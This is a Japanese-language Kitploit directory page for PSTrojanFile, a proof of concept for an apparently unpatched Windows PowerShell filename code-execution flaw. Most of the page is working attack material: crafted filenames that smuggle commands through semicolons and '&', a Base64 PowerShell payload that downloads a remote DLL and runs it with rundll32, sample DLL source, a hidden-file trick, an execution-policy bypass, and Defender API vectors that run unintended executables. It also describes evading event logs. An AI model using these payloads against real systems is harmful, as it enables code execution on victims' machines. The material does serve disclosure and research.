Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
PSTrojanFile — 未修正のWindows PowerShellファイル名コード実行PoC | Kitploit
ツール/GitHubGitHub/hyp3rlinx/pstrojanfile
ペイロード生成脆弱性分析エクスプロイトIDS/IPS回避スクリプトと自動化CTFペネトレーションテスト論文と研究学習と教育
GitHubhyp3rlinx/pstrojanfile

PSTrojanFile

未修正のWindows PowerShellファイル名コード実行PoC

リポジトリを見る
4282年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

PSTrojanFile

Windows PowerShell ファイル名と Defender アンチマルウェア API - コード実行 PoC

発見: John Page (別名 hyp3rlinx) 2019年、2023年に再訪

2023年12月24日更新

PowerShell でのコード実行における単一引用符の壁を回避し、さらに PS Windows イベントログの失敗!
セミコロンと友人の "&" 演算子が手を組み、任意のコード実行能力を発揮します。

不要なマルウェアを実行:
C:\Users\gg\Downloads>powershell get-filehash 'Infected&Malware;.zip' -algorithm md5

または

Windows Defender アンチマルウェアスキャン:
powershell Start-MpScan -Scanpath 'C:\Users\gg\Downloads\Infected&Malware;.zip'

Malware.exe が同じディレクトリに存在する場合、ドライブバイダウンロードを想定してください。

Windows イベントログの失敗: PS イベント ID 403 は、トランケーションのため実際のファイル名を記録できません。

PS ログの抜粋:

HostApplication=powershell Start-MpScan -Scanpath 'C:\Users\gg\Downloads\Infected
EngineVersion=5.1.19041.3803

ping コマンドを呼び出す? なぜやらない
C:>powershell get-filehash 'powerfail&ping 8.8.8.8&.txt' -algorithm md5

被害者をログオフ:
C:>powershell Start-MpScan -Scanpath 'virus&logoff&test.zip'

更新: 2023年12月7日、CL と Windows Defender API ベクターを追加。下記参照:

今でも動作するため、埃を払って小さな改良を加えました:

  1. rundll32 を使用したリモート DLL の実行
  2. 意図しないセカンダリ PS1 スクリプトまたはローカルテキストファイルの実行 (非表示にできます)
  3. PS1 トロイの木馬ファイル名生成 Python3 スクリプトを更新

2019年に Microsoft に最初に報告されましたが、この記事の執筆時点でも修正されていません。

特別に細工されたファイル名によるリモートコード実行。

この欠陥はセミコロン ";" に起因します。PS1 ファイル名から直接 Base64 コマンドをデコードして実行したり、単にコマンドを実行したりできます。

Test;POweRsHeLL -e [BASE64 UTF-16LE PAYLOAD];.ps1

すぐにコマンドを呼び出す

"Testing;saps (gc -) PoC;.ps1"

ベクター: ダブルクリック、PS ショートカットへのドラッグアンドドロップ

「saps」「gc」などの代替の省略 PS コマンド (プロセスの開始や get-content など) を活用します。

DLL 実行例:

リモート DLL の「1.d」をダウンロードして実行しようとするトロイの木馬 PS1 ファイルを作成します。

Python:

from base64 import b64encode

b64encode("saps http[]//127.0.0.1/1.d;sleep -s 2;rundll32 $HOME\Downloads\1.d, 0".encode('UTF-16LE'))

cwBhAHAAcwAgACAAaAB0AHQAcAA6AC8ALwAxADIANwAuADAALgAwAC4AMQAvADEALgBkADsAcwBsAGUAZQBwACAALQBzACAAMgA7AHIAdQBuAGQAbABsADMAMgAgACQASABPAE0ARQBcAEQAbwB3AG4AbABvAGEAZABzAFwAMQAuAGQALAAgADAA

DLL コード:

#include <windows.h>

//gcc -shared -o mydll.dll mydll.c -m32

//hyp3rlinx

void evilo(void){

MessageBox(0,"Filename Remote Code Execution PoC\r\nBy hyp3rlinx","M$ Windows PowerShell",1);

}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved){

evilo();

return 0;

}

python -m http.server 80

トロイの木馬 PS1 ファイルをダブルクリックします。

テキストファイルコード実行例:

「saps」(プロセスの開始) と「gc」(get-content) を含む名前の PS1 ファイルを作成すると、非表示ファイルからコマンドを読み取ります。

"Test;saps (gc -) PoC;.ps1"

非表示を作成: attrib +s +h "-"

ダブルクリックまたはドラッグアンドドロップ。

要件:

a) PowerShell PS1 ファイルが既定のプログラムとして PowerShell で開くように設定されている必要があります

b) Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Bypass -Force

c) ユーザーは悪意のある名前の PS1 スクリプトをダブルクリックするか、コマンドラインから実行するか、ドラッグアンドドロップする必要があります

https://www.youtube.com/watch?v=-ZJnA70Cf4I

https://github.com/hyp3rlinx/PSTrojanFile/assets/12366009/029d41d2-af58-434d-8d0f-0bf8f01d1c55

PSTrojanFile

更新: Microsoft Defender アンチマルウェア PowerShell API - 任意のコード実行。

Microsoft Defender アンチマルウェアや PS API は、任意のコードを実行する結果になる可能性があります。 例: ディレクトリ、.lnk ショートカット、さらには存在しない項目をスキャンすると、意図しないコードが実行される可能性があります。 このベクターは、以前のアドバイザリとその後のプロジェクト PSTrojanFile に基づいています。

要件:

  1. コマンドラインで 'powershell' コマンドが前置されるか、別のスクリプトから PowerShell を呼び出して渡される
  2. 近くに存在するパラメータと同じ名前の実行可能ファイル

例:
powershell Start-MpScan -Scanpath "C:\Users\gg\Downloads;saps Helper;.1.zip" (Helper.exe はデスクトップにあります)

ディレクトリ ";saps Test" を作成し、Test.exe、Test.cmd などを同じコマンドラインパスに置きます
powershell Add-MpPreference -ControlledFolderAccessAllowedApplications ";saps Test"

セミコロン付きのディレクトリを作成し、同じパスに doom.exe という名前の PE ファイルを置きます。
powershell Set-ProcessMitigation -PolicyFilePath "test;saps doom"

最後に重要: PowerShell でファイルハッシュを取得するとログアウトされます :)
c:>powershell get-filehash -algorithm MD5 "Malware;saps logoff.exe"

https://www.youtube.com/watch?v=0Go6yJiRWP8

https://github.com/hyp3rlinx/PSTrojanFile/assets/12366009/b033b9f8-1ea0-4ea3-9fa3-56ea63db5b08

ツールをダウンロード